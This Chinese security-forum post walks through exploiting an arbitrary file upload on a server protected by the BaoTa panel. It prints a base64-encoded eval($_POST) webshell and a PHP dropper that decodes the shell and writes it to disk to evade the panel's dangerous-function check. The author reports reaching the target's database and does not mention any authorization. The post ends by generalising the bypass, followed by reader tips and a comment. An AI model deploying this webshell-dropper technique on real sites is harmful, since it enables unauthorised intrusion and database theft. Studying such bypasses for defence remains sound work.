前几天找到个可以上传任意文件的上传点,成功上传phpinfo页面并能访问,但是不能成功上传一句话,发现这台主机装了宝塔,经过反复尝试终于成功上传一句话并连接。
0x01 漏洞发现
结果前期摸索,发现了一个上传点,能上传任意文件,且会返回路径
尝试上传phpinfo页面,上传成功并返回地址(phpinfo页面忘记截图了),到这里想着getshell离我不远了,只有一句话的距离。
0x02 遇见障碍
一切当然没有想象中的顺利,上传一句话并没有返回路径,尝试不同的一句话,发现不管是使用冰蝎还是蚁剑的免杀马都不能成功返回路径,工具扫一波发现使用的是宝塔。
在宝塔官网发现,应该是禁用了危险函数,对我们上传的php文件会进行检查,看是否存在危险函数。
0x03 新思路
那么就得换一种思路,既然上传上去的一句话连不上,就尝试在本地生成一个一句话。由于我们能上传任意文件,于是先上传一个base64加密的一句话文本即txt文件,返回文件路径IDw/cGhwIEBldmFsKCRfUE9TVFsnYSddKTsgPz4=
接下来我们上传一个将上述txt文件进行base64解码并生成一个名叫thinkphp_logs.php的一句话的php文件。内容为:
`<?php
$path = “./“;
$path = $path.”1.txt”;
echo $path;
//$fp = fopen(“$path”,”r”);
//$str = fread($fp,filesize($path));
$str = file_get_contents(“$path”,”r”);
$str = base64_decode($str);
echo $str;
$handle = fopen(“./thinkphp_logs.php”,”w”);
fwrite($handle,$str);
fclose($handle);
?>`
如上,由于此文件并没有危险函数,所以并未被删除,成功返回路径,需要执行这个php文件就得在web上访问一下他,利用返回的路径,在浏览器访问这个文件,该文件成功执行
一句话在本地生成,宝塔并未删除,用冰蝎连接,连接成功
但是由于使用了宝塔,限制得很死并不能执行任何命令,只能连数据库,并未成功getshell
0x04 总结
这次并没有成功的getshell,只是获取了数据库。这里只是讲述了文件上传的新思路,如果不能成功上传一句话就不需要再去尝试直接上传一句话,可以考虑先上传不会被查杀的php文件,然后通过这个文件生成一句话,按照这种思路,生成一句话的方法就有很多种,就不限于这种加密之后再解密。
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
wsx | 5.00 | 0 | 2020-09-10 09:09:14 | 一个受益终生的帖子~~ |
wsx | 5.00 | 0 | 2020-09-10 09:09:08 | 一个受益终生的帖子~~ |
Track-聂风 | 40.00 | 0 | 2020-09-09 11:11:02 | 想办法成功执行命令,宝塔不难 |
打赏我,让我更有动力~
© 2016 - 2022 掌控者 All Rights Reserved.
holic
发表于 2020-9-9
这边有个疑问,只能上传txt文件的话,那要怎么解密
评论列表
加载数据中...